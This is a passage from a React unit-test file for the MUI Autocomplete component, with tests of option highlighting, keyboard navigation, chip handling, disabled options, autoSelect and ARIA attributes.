/>}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      expect(textbox).not.to.have.attribute('aria-activedescendant');\n\n      view.setProps({ options, loading: false });\n      expect(textbox).to.have.attribute(\n        'aria-activedescendant',\n        screen.getAllByRole('option')[0].getAttribute('id'),\n      );\n    });\n\n    it('should set the highlight on selected item when dropdown is expanded', () => {\n      const view = render(\n        <Autocomplete\n          value=\"one\"\n          open\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      checkHighlightIs(screen.getByRole('listbox'), 'one');\n      view.setProps({ value: 'two' });\n      checkHighlightIs(screen.getByRole('listbox'), 'two');\n    });\n\n    // https://github.com/mui/material-ui/issues/34998\n    it.skipIf(isJsdom())(\n      'should scroll the listbox to the top when keyboard highlight wraps around after the last item is highlighted',\n      function test() {\n        render(\n          <Autocomplete\n            open\n            options={['one', 'two', 'three', 'four', 'five']}\n            renderInput={(params) => <TextField {...params} />}\n            slotProps={{ listbox: { style: { padding: 0, maxHeight: '100px' } } }}\n            slots={{\n              popper: (props) => {\n                const { disablePortal, anchorEl, open, ...other } = props;\n                return <Box {...other} />;\n              },\n            }}\n          />,\n        );\n        const textbox = screen.getByRole('combobox');\n        act(() => {\n          textbox.focus();\n        });\n        fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n        fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n        fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n        fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n        fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n        fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n\n        checkHighlightIs(screen.getByRole('listbox'), 'one');\n        expect(screen.getByRole('listbox')).to.have.property('scrollTop', 0);\n      },\n    );\n\n    it('should keep the current highlight if possible', () => {\n      render(\n        <Autocomplete\n          multiple\n          defaultValue={['one']}\n          open\n          options={['one', 'two', 'three']}\n          disableCloseOnSelect\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      checkHighlightIs(screen.getByRole('listbox'), 'one');\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      checkHighlightIs(screen.getByRole('listbox'), 'two');\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n      checkHighlightIs(screen.getByRole('listbox'), 'two');\n    });\n\n    it('should work with filterSelectedOptions too', () => {\n      const options = ['Foo', 'Bar', 'Baz'];\n      render(\n        <Autocomplete\n          multiple\n          filterSelectedOptions\n          autoHighlight\n          value={options.slice(0, 1)}\n          options={options}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      checkHighlightIs(screen.getByRole('listbox'), 'Bar');\n      fireEvent.change(textbox, { target: { value: 'a' } });\n      checkHighlightIs(screen.getByRole('listbox'), 'Bar');\n      fireEvent.change(textbox, { target: { value: 'aa' } });\n      fireEvent.change(textbox, { target: { value: 'a' } });\n      checkHighlightIs(screen.getByRole('listbox'), 'Bar');\n    });\n\n    // https://github.com/mui/material-ui/issues/45279\n    it('should auto highlight first option after options order changes with autoHighlight', () => {\n      const view = render(\n        <Autocomplete\n          autoHighlight\n          open\n          options={['pediatric ent', 'pediatric flu', 'pediatrician', 'pediatric cough']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      checkHighlightIs(screen.getByRole('listbox'), 'pediatric ent');\n      view.setProps({\n        options: ['pediatrician', 'pediatric ent', 'pediatric flu', 'pediatric cough'],\n      });\n      checkHighlightIs(screen.getByRole('listbox'), 'pediatrician');\n    });\n\n    it('should auto highlight first option when no match with input value with autoHighlight', () => {\n      render(\n        <Autocomplete\n          open\n          autoHighlight\n          options={['1', '2', '3', '4']}\n          value=\"5\"\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      checkHighlightIs(screen.getByRole('listbox'), '1');\n    });\n\n    it('should auto highlight first option of rest after selecting an option with autoHighlight and filterSelectedOptions', () => {\n      render(\n        <Autocomplete\n          open\n          autoHighlight\n          options={['1', '2', '3', '4']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          filterSelectedOptions\n          disableCloseOnSelect\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n\n      checkHighlightIs(screen.getByRole('listbox'), '1');\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n      checkHighlightIs(screen.getByRole('listbox'), '2');\n    });\n  });\n\n  describe('highlight synchronisation', () => {\n    it('should not update the highlight when multiple open and value change', () => {\n      const view = render(\n        <Autocomplete\n          value={['two']}\n          multiple\n          open\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      checkHighlightIs(screen.getByRole('listbox'), 'two');\n      view.setProps({\n        value: [],\n      });\n      checkHighlightIs(screen.getByRole('listbox'), 'two');\n    });\n  });\n\n  describe('prop: limitTags', () => {\n    it('show all items on focus', () => {\n      const view = render(\n        <Autocomplete\n          multiple\n          limitTags={2}\n          options={['one', 'two', 'three']}\n          defaultValue={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} variant=\"standard\" />}\n        />,\n      );\n\n      expect(view.container.textContent).to.equal('onetwo+1');\n      // include hidden clear button because JSDOM thinks it's visible\n      expect(screen.getAllByRole('button', { hidden: true })).to.have.lengthOf(4);\n\n      act(() => {\n        screen.getByRole('combobox').focus();\n      });\n      expect(view.container.textContent).to.equal('onetwothree');\n      // Depending on the subset of components used in this test run the computed `visibility` changes in JSDOM.\n      if (!isJsdom()) {\n        expect(screen.getAllByRole('button', { hidden: false })).to.have.lengthOf(5);\n      }\n    });\n\n    it('show 0 item on close when set 0 to limitTags', () => {\n      const view = render(\n        <Autocomplete\n          multiple\n          limitTags={0}\n          options={['one', 'two', 'three']}\n          defaultValue={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} variant=\"standard\" />}\n        />,\n      );\n\n      expect(view.container.textContent).to.equal('+3');\n      // include hidden clear button because JSDOM thinks it's visible\n      expect(screen.getAllByRole('button', { hidden: true })).to.have.lengthOf(2);\n\n      act(() => {\n        screen.getByRole('combobox').focus();\n      });\n      expect(view.container.textContent).to.equal('onetwothree');\n      // Depending on the subset of components used in this test run the computed `visibility` changes in JSDOM.\n      if (!isJsdom()) {\n        expect(screen.getAllByRole('button', { hidden: false })).to.have.lengthOf(5);\n      }\n    });\n  });\n\n  describe('prop: filterSelectedOptions', () => {\n    it('when the last item is selected, highlights the new last item', () => {\n      render(\n        <Autocomplete\n          filterSelectedOptions\n          openOnFocus\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowUp' });\n      checkHighlightIs(screen.getByRole('listbox'), 'three');\n      fireEvent.keyDown(textbox, { key: 'Enter' }); // selects the last option (three)\n\n      act(() => {\n        textbox.blur();\n        textbox.focus(); // opens the listbox again\n      });\n      checkHighlightIs(screen.getByRole('listbox'), null);\n    });\n  });\n\n  describe('prop: autoSelect', () => {\n    it('should not clear on blur when value does not match any option', () => {\n      const handleChange = spy();\n      const options = ['one', 'two'];\n      render(\n        <Autocomplete\n          freeSolo\n          autoSelect\n          options={options}\n          onChange={handleChange}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.change(textbox, { target: { value: 'o' } });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.change(textbox, { target: { value: 'oo' } });\n      act(() => {\n        textbox.blur();\n      });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.deep.equal('oo');\n    });\n\n    it('should add new value when autoSelect & multiple on blur', () => {\n      const handleChange = spy();\n      const options = ['one', 'two'];\n      render(\n        <Autocomplete\n          autoSelect\n          multiple\n          value={[options[0]]}\n          openOnFocus\n          options={options}\n          onChange={handleChange}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.change(textbox, { target: { value: 't' } });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      act(() => {\n        textbox.blur();\n      });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.deep.equal(options);\n    });\n\n    it('should add new value when autoSelect & multiple & freeSolo on blur', () => {\n      const handleChange = spy();\n      render(\n        <Autocomplete\n          autoSelect\n          freeSolo\n          multiple\n          onChange={handleChange}\n          options={[]}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      fireEvent.change(document.activeElement, { target: { value: 'a' } });\n      act(() => {\n        document.activeElement.blur();\n      });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.deep.equal(['a']);\n    });\n\n    it('should add new value when autoSelect & freeSolo & autoHighlight on blur', () => {\n      const handleChange = spy();\n      render(\n        <Autocomplete\n          autoSelect\n          freeSolo\n          autoHighlight\n          onChange={handleChange}\n          options={[]}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      fireEvent.change(document.activeElement, { target: { value: 'a' } });\n      act(() => {\n        document.activeElement.blur();\n      });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.equal('a');\n    });\n  });\n\n  describe('prop: multiple', () => {\n    it('should not crash', () => {\n      render(\n        <Autocomplete\n          openOnFocus\n          options={[]}\n          renderInput={(params) => <TextField {...params} />}\n          multiple\n        />,\n      );\n      const input = screen.getByRole('combobox');\n\n      act(() => {\n        input.focus();\n        document.activeElement.blur();\n        input.focus();\n      });\n    });\n\n    it('should remove the last option', () => {\n      const handleChange = spy();\n      const options = ['one', 'two'];\n      render(\n        <Autocomplete\n          options={[]}\n          defaultValue={options}\n          onChange={handleChange}\n          renderInput={(params) => <TextField {...params} />}\n          multiple\n        />,\n      );\n      fireEvent.click(screen.getAllByTestId('CancelIcon')[1]);\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.deep.equal([options[0]]);\n    });\n\n    it('navigates between different tags', () => {\n      const handleChange = spy();\n      const options = ['one', 'two'];\n      render(\n        <Autocomplete\n          defaultValue={options}\n          options={options}\n          onChange={handleChange}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          multiple\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      const [firstSelectedValue, secondSelectedValue] = screen.getAllByRole('button');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n      expect(secondSelectedValue).toHaveFocus();\n\n      fireEvent.keyDown(secondSelectedValue, { key: 'ArrowLeft' });\n      expect(firstSelectedValue).toHaveFocus();\n\n      fireEvent.keyDown(firstSelectedValue, { key: 'Backspace' });\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.deep.equal([options[1]]);\n      expect(textbox).toHaveFocus();\n    });\n\n    it('deletes a focused tag when pressing the delete key', () => {\n      const handleChange = spy();\n      const options = ['one', 'two'];\n      render(\n        <Autocomplete\n          defaultValue={options}\n          options={options}\n          onChange={handleChange}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          multiple\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      const [firstSelectedValue, secondSelectedValue] = screen.getAllByRole('button');\n\n      // check that no tags get deleted when the tag is not a focused tag\n      fireEvent.keyDown(textbox, { key: 'Delete' });\n\n      expect(handleChange.callCount).to.equal(0);\n      expect(textbox).toHaveFocus();\n\n      // expect on focused tag to delete when pressing delete key\n      fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n\n      expect(secondSelectedValue).toHaveFocus();\n\n      fireEvent.keyDown(secondSelectedValue, { key: 'ArrowLeft' });\n\n      expect(firstSelectedValue).toHaveFocus();\n\n      fireEvent.keyDown(firstSelectedValue, { key: 'Delete' });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(textbox).toHaveFocus();\n    });\n\n    it('should keep listbox open on pressing left or right keys when inputValue is not empty', () => {\n      const handleClose = spy();\n      const options = ['one', 'two', 'three'];\n      render(\n        <Autocomplete\n          options={options}\n          onClose={handleClose}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          multiple\n          inputValue=\"tw\"\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.mouseDown(textbox);\n      fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n\n      expect(handleClose.callCount).to.equal(0);\n      expect(textbox).to.have.attribute('aria-expanded', 'true');\n    });\n\n    it('should close listbox on pressing left or right keys when inputValue is empty', () => {\n      const handleClose = spy();\n      const options = ['one', 'two', 'three'];\n      render(\n        <Autocomplete\n          options={options}\n          onClose={handleClose}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          multiple\n          inputValue=\"\"\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.mouseDown(textbox);\n      fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n\n      expect(handleClose.callCount).to.equal(1);\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n    });\n\n    it('should not crash if a tag is missing', () => {\n      const handleChange = spy();\n      const options = ['one', 'two'];\n      render(\n        <Autocomplete\n          defaultValue={options}\n          options={options}\n          value={options}\n          renderValue={(value, getItemProps) =>\n            value\n              .filter((x, index) => index === 1)\n              .map((option, index) => {\n                const { key, ...tagProps } = getItemProps({ index });\n                return <Chip key={key} label={option.title} {...tagProps} />;\n              })\n          }\n          onChange={handleChange}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          multiple\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      const [firstSelectedValue] = screen.getAllByRole('button');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n      // skip value \"two\"\n      expect(firstSelectedValue).toHaveFocus();\n\n      fireEvent.keyDown(firstSelectedValue, { key: 'ArrowRight' });\n      expect(textbox).toHaveFocus();\n    });\n\n    it('should not call onChange function for duplicate values', () => {\n      const handleChange = spy();\n      const options = ['one', 'two'];\n      render(\n        <Autocomplete\n          freeSolo\n          defaultValue={options}\n          options={options}\n          onChange={handleChange}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          multiple\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.change(textbox, { target: { value: 'two' } });\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n      expect(handleChange.callCount).to.equal(0);\n\n      fireEvent.change(textbox, { target: { value: 'three' } });\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n      expect(handleChange.callCount).to.equal(1);\n    });\n\n    it('has no textbox value', () => {\n      render(\n        <Autocomplete\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n          multiple\n          value={['one', 'two']}\n        />,\n      );\n\n      expect(screen.getByRole('combobox')).to.have.property('value', '');\n    });\n\n    // Enable once https://github.com/jsdom/jsdom/issues/2898 is resolved\n    it.skipIf(isJsdom())(\n      'should fail validation if a required field has no value',\n      async function test() {\n        const handleSubmit = spy((event) => event.preventDefault());\n        const view = render(\n          <form onSubmit={handleSubmit}>\n            <Autocomplete\n              multiple\n              options={['one', 'two']}\n              renderInput={(params) => <TextField {...params} required />}\n              value={[]}\n            />\n            <button type=\"submit\">Submit</button>\n          </form>,\n        );\n\n        await view.user.click(screen.getByRole('button', { name: 'Submit' }));\n\n        expect(handleSubmit.callCount).to.equal(0);\n      },\n    );\n\n    // Enable once https://github.com/jsdom/jsdom/issues/2898 is resolved\n    // The test is passing in JSDOM but form validation is buggy in JSDOM so we rather skip than have false confidence\n    // Unclear how native Constraint validation can be enabled for `multiple`\n    it.skipIf(isJsdom())(\n      'should fail validation if a required field has a value',\n      async function test() {\n        const handleSubmit = spy((event) => event.preventDefault());\n        const view = render(\n          <form onSubmit={handleSubmit}>\n            <Autocomplete\n              multiple\n              options={['one', 'two']}\n              renderInput={(params) => <TextField {...params} required />}\n              value={['one']}\n            />\n            <button type=\"submit\">Submit</button>\n          </form>,\n        );\n\n        await view.user.click(screen.getByRole('button', { name: 'Submit' }));\n\n        expect(handleSubmit.callCount).to.equal(0);\n      },\n    );\n\n    it('should move focus to the last chip with ArrowLeft only when caret is at the start when multiple', () => {\n      const options = ['one', 'two', 'three'];\n      render(\n        <Autocomplete\n          multiple\n          options={options}\n          defaultValue={[options[0], options[1]]}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n      const [chipOne, chipTwo] = screen.getAllByRole('button');\n\n      // Type something so the input has content.\n      fireEvent.change(textbox, { target: { value: 'foo' } });\n\n      // Caret not at start: ArrowLeft should just move the caret, not focus the chip.\n      textbox.setSelectionRange(2, 2);\n      fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n      expect(textbox).toHaveFocus();\n\n      // Caret at start: ArrowLeft should now move focus to the second chip.\n      textbox.setSelectionRange(0, 0);\n      fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n      expect(chipTwo).toHaveFocus();\n\n      // ArrowLeft should now move focus to the first chip.\n      fireEvent.keyDown(chipTwo, { key: 'ArrowLeft' });\n      expect(chipOne).toHaveFocus();\n    });\n\n    it('should clear freeSolo input when moving focus from input to chip with ArrowLeft and not restore it on ArrowRight', () => {\n      const options = ['one', 'two'];\n      render(\n        <Autocomplete\n          multiple\n          freeSolo\n          options={options}\n          defaultValue={options}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n      const lastChip = screen.getByRole('button', { name: 'two' });\n\n      // Type some freeSolo text\n      fireEvent.change(textbox, { target: { value: 'foo' } });\n      expect(textbox).to.have.property('value', 'foo');\n\n      // Caret at start: ArrowLeft should move focus to the last chip\n      textbox.setSelectionRange(0, 0);\n      fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n      expect(lastChip).toHaveFocus();\n\n      // Input text should be cleared and stay cleared\n      expect(textbox).to.have.property('value', '');\n\n      // ArrowRight should move focus back to the input, without restoring the old text\n      fireEvent.keyDown(lastChip, { key: 'ArrowRight' });\n      expect(textbox).toHaveFocus();\n      expect(textbox).to.have.property('value', '');\n    });\n  });\n\n  it('should trigger a form expectedly', () => {\n    const handleSubmit = spy();\n    function Test(props) {\n      const { key, ...other } = props;\n      return (\n        <div\n          onKeyDown={(event) => {\n            if (!event.defaultPrevented && event.key === 'Enter') {\n              handleSubmit();\n            }\n          }}\n        >\n          <Autocomplete\n            options={['one', 'two']}\n            renderInput={(props2) => <TextField {...props2} autoFocus />}\n            key={key}\n            {...other}\n          />\n        </div>\n      );\n    }\n    const view = render(<Test />);\n    let textbox = screen.getByRole('combobox');\n\n    fireEvent.keyDown(textbox, { key: 'Enter' });\n    expect(handleSubmit.callCount).to.equal(1);\n\n    fireEvent.change(textbox, { target: { value: 'o' } });\n    fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n    fireEvent.keyDown(textbox, { key: 'Enter' });\n    expect(handleSubmit.callCount).to.equal(1);\n\n    fireEvent.keyDown(textbox, { key: 'Enter' });\n    expect(handleSubmit.callCount).to.equal(2);\n\n    view.setProps({ key: 'test-2', multiple: true, freeSolo: true });\n    textbox = screen.getByRole('combobox');\n\n    fireEvent.change(textbox, { target: { value: 'o' } });\n    fireEvent.keyDown(textbox, { key: 'Enter' });\n    expect(handleSubmit.callCount).to.equal(2);\n\n    fireEvent.keyDown(textbox, { key: 'Enter' });\n    expect(handleSubmit.callCount).to.equal(3);\n\n    view.setProps({ key: 'test-3', freeSolo: true });\n    textbox = screen.getByRole('combobox');\n\n    fireEvent.change(textbox, { target: { value: 'o' } });\n    fireEvent.keyDown(textbox, { key: 'Enter' });\n    expect(handleSubmit.callCount).to.equal(4);\n  });\n\n  it('should not open the autocomplete popup when deleting chips', async () => {\n    const view = render(\n      <Autocomplete\n        multiple\n        options={['one', 'two', 'three']}\n        defaultValue={['one']}\n        renderInput={(params) => <TextField {...params} autoFocus />}\n      />,\n    );\n\n    expect(screen.queryByRole('listbox')).to.equal(null);\n\n    const chip = screen.queryByText('one').parentElement;\n    expect(chip).not.to.equal(null);\n\n    // Delete the chip\n    await view.user.click(chip.getElementsByClassName(chipClasses.deleteIcon)[0]);\n\n    expect(screen.queryByText('one')).to.equal(null);\n    expect(screen.queryByRole('listbox')).to.equal(null);\n  });\n\n  it('should toggle the autocomplete popup when clicking the popup indicator', async () => {\n    const view = render(\n      <Autocomplete\n        multiple\n        options={['One', 'Two', 'Three']}\n        renderInput={(params) => <TextField {...params} autoFocus />}\n      />,\n    );\n\n    expect(screen.queryByRole('listbox')).to.equal(null);\n\n    const popupIndicator = screen.getByRole('button', { name: 'Open' });\n    await view.user.click(popupIndicator);\n\n    expect(screen.queryByRole('listbox')).not.to.equal(null);\n\n    await view.user.click(popupIndicator);\n\n    expect(screen.queryByRole('listbox')).to.equal(null);\n  });\n\n  describe('prop: getOptionDisabled', () => {\n    it('should prevent the disabled option to trigger actions but allow focus with disabledItemsFocusable', () => {\n      const handleSubmit = spy();\n      const handleChange = spy();\n      render(\n        <div\n          onKeyDown={(event) => {\n            if (!event.defaultPrevented && event.key === 'Enter') {\n              handleSubmit();\n            }\n          }}\n        >\n          <Autocomplete\n            disabledItemsFocusable\n            getOptionDisabled={(option) => option === 'two'}\n            onChange={handleChange}\n            openOnFocus\n            options={['one', 'two', 'three']}\n            renderInput={(props2) => <TextField {...props2} autoFocus />}\n          />\n        </div>,\n      );\n\n      let options;\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      options = screen.getAllByRole('option');\n      expect(textbox).to.have.attribute('aria-activedescendant', options[1].getAttribute('id'));\n\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n      expect(handleSubmit.callCount).to.equal(0);\n      expect(handleChange.callCount).to.equal(0);\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      options = screen.getAllByRole('option');\n      expect(textbox).to.have.attribute('aria-activedescendant', options[0].getAttribute('id'));\n\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n      expect(handleSubmit.callCount).to.equal(0);\n      expect(handleChange.callCount).to.equal(1);\n    });\n\n    it('should skip disabled options when navigating via keyboard', () => {\n      render(\n        <Autocomplete\n          getOptionDisabled={(option) => option === 'two'}\n          openOnFocus\n          options={['one', 'two', 'three']}\n          renderInput={(props) => <TextField {...props} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      checkHighlightIs(screen.getByRole('listbox'), 'one');\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      checkHighlightIs(screen.getByRole('listbox'), 'three');\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      checkHighlightIs(screen.getByRole('listbox'), 'one');\n    });\n\n    it('should skip disabled options at the end of the list when navigating via keyboard', () => {\n      render(\n        <Autocomplete\n          getOptionDisabled={(option) => option === 'three' || option === 'four'}\n          openOnFocus\n          options={['one', 'two', 'three', 'four']}\n          renderInput={(props) => <TextField {...props} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      checkHighlightIs(screen.getByRole('listbox'), 'one');\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      checkHighlightIs(screen.getByRole('listbox'), 'two');\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      checkHighlightIs(screen.getByRole('listbox'), 'one');\n    });\n\n    it('should skip the first and last disabled options in the list when navigating via keyboard', () => {\n      render(\n        <Autocomplete\n          getOptionDisabled={(option) => option === 'one' || option === 'five'}\n          openOnFocus\n          options={['one', 'two', 'three', 'four', 'five']}\n          renderInput={(props) => <TextField {...props} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      checkHighlightIs(screen.getByRole('listbox'), 'two');\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      checkHighlightIs(screen.getByRole('listbox'), 'four');\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      checkHighlightIs(screen.getByRole('listbox'), 'two');\n      fireEvent.keyDown(textbox, { key: 'ArrowUp' });\n      checkHighlightIs(screen.getByRole('listbox'), 'four');\n    });\n\n    it('should not focus any option when all the options are disabled', () => {\n      render(\n        <Autocomplete\n          getOptionDisabled={() => true}\n          openOnFocus\n          options={['one', 'two', 'three']}\n          renderInput={(props) => <TextField {...props} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      checkHighlightIs(screen.getByRole('listbox'), null);\n      fireEvent.keyDown(textbox, { key: 'ArrowUp' });\n      checkHighlightIs(screen.getByRole('listbox'), null);\n    });\n  });\n\n  describe('WAI-ARIA conforming markup', () => {\n    it('when closed', () => {\n      render(<Autocomplete options={[]} renderInput={(params) => <TextField {...params} />} />);\n\n      const textbox = screen.getByRole('combobox');\n      expect(textbox).to.have.attribute('aria-expanded', 'false');\n      // reflected aria-haspopup is `listbox`\n      // this assertion can fail if the value is `listbox`\n      expect(textbox).not.to.have.attribute('aria-haspopup');\n\n      // reflected aria-multiline has to be false i.e. not present or false\n      expect(textbox).not.to.have.attribute('aria-multiline');\n      expect(textbox).to.have.attribute('aria-autocomplete', 'list');\n      expect(textbox, 'no option is focused when opened').not.to.have.attribute(\n        'aria-activedescendant',\n      );\n\n      // listbox is not only inaccessible but not in the DOM\n      const listbox = screen.queryByRole('listbox', { hidden: true });\n      expect(listbox).to.equal(null);\n\n      const buttons = screen.getAllByRole('button', { hidden: true });\n\n      expect(buttons[0]).toHaveAccessibleName('Open');\n      expect(buttons[0]).to.have.attribute('title', 'Open');\n      expect(buttons).to.have.length(1);\n      expect(buttons[0], 'button is not in tab order').to.have.property('tabIndex', -1);\n    });\n\n    it('when open', () => {\n      render(\n        <Autocomplete\n          open\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n      expect(textbox).to.have.attribute('aria-expanded', 'true');\n\n      const listbox = screen.getByRole('listbox');\n      expect(listbox.tagName.toLowerCase()).to.equal('ul');\n      expect(textbox).to.have.attribute('aria-controls', listbox.getAttribute('id'));\n      expect(textbox, 'no option is focused when opened').not.to.have.attribute(\n        'aria-activedescendant',\n      );\n\n      const options = screen.getAllByRole('option');\n      expect(options).to.have.length(2);\n      options.forEach((option) => {\n        expect(listbox).to.contain(option);\n      });\n\n      const buttons = screen.getAllByRole('button', { hidden: true });\n      expect(buttons[0]).toHaveAccessibleName('Close');\n      expect(buttons[0]).to.have.attribute('title', 'Close');\n      expect(buttons).to.have.length(1);\n      expect(buttons[0], 'button is not in tab order').to.have.property('tabIndex', -1);\n    });\n\n    it('should add and remove aria-activedescendant', () => {\n      const view = render(\n        <Autocomplete\n          open\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      expect(textbox, 'no option is focused when opened').not.to.have.attribute(\n        'aria-activedescendant',\n      );\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n\n      const options = screen.getAllByRole('option');\n      expect(textbox).to.have.attribute('aria-activedescendant', options[0].getAttribute('id'));\n      view.setProps({ open: false });\n      expect(textbox, 'no option is focused when opened').not.to.have.attribute(\n        'aria-activedescendant',\n      );\n    });\n  });\n\n  describe('when popup closed', () => {\n    it('opens when the textbox is focused when `openOnFocus`', () => {\n      const handleOpen = spy();\n      render(\n        <Autocomplete\n          options={[]}\n          onOpen={handleOpen}\n          openOnFocus\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      expect(handleOpen.callCount).to.equal(1);\n    });\n\n    it('does not open on clear', () => {\n      const handleOpen = spy();\n      const handleChange = spy();\n      const view = render(\n        <Autocomplete\n          onOpen={handleOpen}\n          onChange={handleChange}\n          open={false}\n          options={['one', 'two']}\n          value=\"one\"\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n\n      const clear = view.container.querySelector('button');\n      fireEvent.click(clear);\n\n      expect(handleOpen.callCount).to.equal(0);\n      expect(handleChange.callCount).to.equal(1);\n    });\n\n    ['ArrowDown', 'ArrowUp'].forEach((key) => {\n      it(`opens on ${key} when focus is on the textbox and \\`openOnFocus\\` without moving focus`, () => {\n        const handleOpen = spy();\n        render(\n          <Autocomplete\n            onOpen={handleOpen}\n            open={false}\n            openOnFocus\n            options={[]}\n            renderInput={(params) => <TextField {...params} autoFocus />}\n          />,\n        );\n        const textbox = screen.getByRole('combobox');\n\n        fireEvent.keyDown(textbox, { key });\n\n        // first from focus\n        expect(handleOpen.callCount).to.equal(2);\n        expect(textbox).not.to.have.attribute('aria-activedescendant');\n      });\n    });\n\n    it('should open popup when clicked on the root element', () => {\n      const handleOpen = spy();\n      const ref = React.createRef();\n      render(\n        <Autocomplete\n          onOpen={handleOpen}\n          options={['one']}\n          renderInput={(params) => (\n            <TextField\n              {...params}\n              slotProps={{ ...params.slotProps, input: { ...params.slotProps.input, ref } }}\n            />\n          )}\n        />,\n      );\n\n      fireEvent.mouseDown(ref.current);\n      expect(handleOpen.callCount).to.equal(1);\n    